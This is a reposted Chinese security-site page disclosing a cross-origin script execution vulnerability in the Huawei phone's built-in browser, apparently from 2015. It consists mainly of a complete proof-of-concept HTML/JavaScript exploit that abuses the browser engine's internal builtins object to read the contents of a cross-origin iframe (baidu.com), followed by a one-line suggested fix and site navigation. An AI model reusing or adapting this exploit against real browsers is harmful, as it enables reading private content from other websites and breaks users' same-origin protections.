华为手机自带浏览器跨域脚本执行漏洞（附poc） - 网站安全

华为手机自带浏览器跨域脚本执行漏洞（附poc） - 网站安全 - 自学php网

来源：未知时间：2015-04-15 13:40 作者：xxadmin 阅读:次

[导读] bodyscriptframe = document.body.appendChild(document.createElement(iframe));frame.src = http://www.baidu.com/;frame.onload = function() {Function(}, (builtins = this), function() {);originalInstantiate = builtins.Instantiate;builtins.Define...

<body>

<script>

frame = document.body.appendChild(document.createElement("iframe"));

frame.src = "http://www.baidu.com/";



frame.onload = function() {

Function("}, (builtins = this), function() {");

originalInstantiate = builtins.Instantiate;

builtins.DefineOneShotAccessor(builtins, "Instantiate", function() {});

flag = 0;

template = null;

builtins.Instantiate = function(x, y) {

if (flag) {

doc = frame.contentWindow.document;

alert(doc.body.innerHTML);

flag = 0;

} else if (!template)

template = x;



return originalInstantiate(x, y);

};

document.implementation;

flag = 1;

builtins.ConfigureTemplateInstance(frame.contentWindow, template);

}

</script>

</body>

`解决方案：`

对builtins对象执行脚本进行限制

中兴某子公司商城APP应用任意用户密码重置及越权访问大量敏感信息 - 网站安全 - 自学php网

JBoss JMXInvokerServlet JMXInvoker 0.3远程命令执行漏洞 - 网站安全 - 自学ph

子栏目

华为手机自带浏览器跨域脚本执行漏洞（附poc） - 网站安全 - 自学php网

`解决方案：`

最新评论

添加评论

更多文章推荐

添加评论